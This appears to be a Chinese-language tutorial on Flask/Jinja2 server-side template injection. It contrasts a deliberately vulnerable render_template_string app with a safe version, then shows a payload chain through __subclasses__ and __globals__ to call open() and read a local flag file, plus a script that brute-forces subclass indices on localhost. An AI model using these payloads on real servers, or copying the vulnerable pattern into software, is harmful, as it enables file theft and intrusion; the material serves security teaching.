Flask的SSTI
Flask模板注入

Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞)。

  • Title: [CVE-2019-8341] Python Jinja2 command injection in function from_string
  • Category: security
  • Stage: in progress
  • Components: incident
  • Versions: unspecified

Flask案例

一个简单的Flask应用案例:

from flask import Flask,render_template_string


app=Flask(__name__)

@app.route('/<username>')
def hello(username):
    return render_template_string('Hello %s'%username)

if __name__=='__main__':
    app.run(port=8088)

路由

route装饰器的作用是将函数与url绑定,其功能是返回使用者自定义的username。

Flask模板注入_python

渲染方法

Flask具有两种渲染方法:render_template和render_template_string。

render_template()用于渲染给定文件,如:

return render_template('./example.html')

render_template_string()用于渲染单个字符串。这是SSTI漏洞注入问题中常见的渲染方法。使用方法如:

html='<h1>This is a test.</h1>'
return render_template_string(html)

模板

Flask使用jinja2作为渲染引擎。模板文件并不是纯粹的.html文件,由于需要渲染用户名、个性数据等,模板.html文件需要包含模板语法,如:

<!--/template/index.html-->
<html>
	<h1>{{content}}</h1>
</html>

{{}}在jinja2为变量包裹标识符。

服务端此时就能利用变量content渲染数据,如:

#test.py
from flask import Flask,url_for,redirect,render_template,render_template_string


@app.route('/index/')
def user_login():
    return render_template('index.html',content='This is index page.')

页面会输出“This is index page.”。不过这是与前文案例不同的模板使用方式,这种写法能够控制模板渲染的变量,不会引起XSS利用。

规避XSS利用的思路可以用如下两端代码的对比体现:

#存在问题
@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''<h3>%s</h3>'''%(code)
    return render_template_string(html)
#规避问题
@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

实现注入,需要前文案例中那样有漏洞的写法。

注入试验

将jinja2的变量包裹标识符{{}}传入,得到报错:

Flask模板注入_初始化方法_02

在服务端可以得到报错信息:jinja2.exceptions.TemplateSyntaxError: Expected an expression, got 'end of print statement',即触发模板,且模板需要取得表达式内容。

传入{{self}},返回模板数据:

Flask模板注入_服务端_03

案例中,模板具有引用对象username,这里没有传入,故引用对象为None。

文件查询

设定服务端的.py文件同级目录下有一个FL4G.txt文件。

Flask模板注入_初始化方法_04

定位所需函数

打开文件需要Python内建的open()函数,由于Python完全由对象构建,需要先得到Python的对象,再实例化需要的函数。

使用魔术方法(Magic Methods)。

传入{{self.__class__}},得到模板引用的类:

Flask模板注入_初始化方法_05

对象是类的实例,类是对象的模板。传入{{self.__class__.__base__}},得到对象:

Flask模板注入_python_06

得到基于当前对象的所有子类,传入{{self.__class__.__base__.__subclasses__()}}

Flask模板注入_flask_07

返回了列表形式存储的全部结果,使用下标可以单独取得任意类。

查看type类的初始化方法,传入{{self.__class__.__base__.__subclasses__()[0].__init__}}

Flask模板注入_初始化方法_08

slot wrapper特征封装,不是可以直接调用的function。

使用如下脚本取得类初始化方法为function的类:

import requests


if __name__=='__main__':
    for i in range(1000):
        r=requests.get('http://127.0.0.1:8088/%7B%7Bself.__class__.__base__.\
        __subclasses__()[{}].__init__%7D%7D'.format(i))
        txt=r.text
        if 'function' in txt:
            print(str(i))

重新传入{{self.__class__.__base__.__subclasses__()[133].__init__}},这个class的初始化方法是一个function:

Flask模板注入_html_09

继续查看存放该函数全局变量的字典的引用,传入{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__}}

Flask模板注入_python_10

在众多信息中可以查找到关于内建函数open()的信息:

Flask模板注入_服务端_11

调用函数

传入{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']}},可得全部内建信息,open()函数包含在内。直接调用open()函数打开文件:

{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('FL4G.txt')}}

Flask模板注入_flask_12

{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('FL4G.txt').read()}}

Flask模板注入_flask_13

小结

几种重要的魔术方法:

方法名 功能
__class__ 返回类型所属的对象
__mro__ 返回包含对象所继承的基类元组,方法在解析时按照元组顺序解析
__base__ 返回对象所继承的基类
__subclasses__ 每个新类都保留子类的引用,该方法返回类中仍然可用的子类列表
__init__ 类的初始化
__globals__ 对包含函数全局变量的字典的引用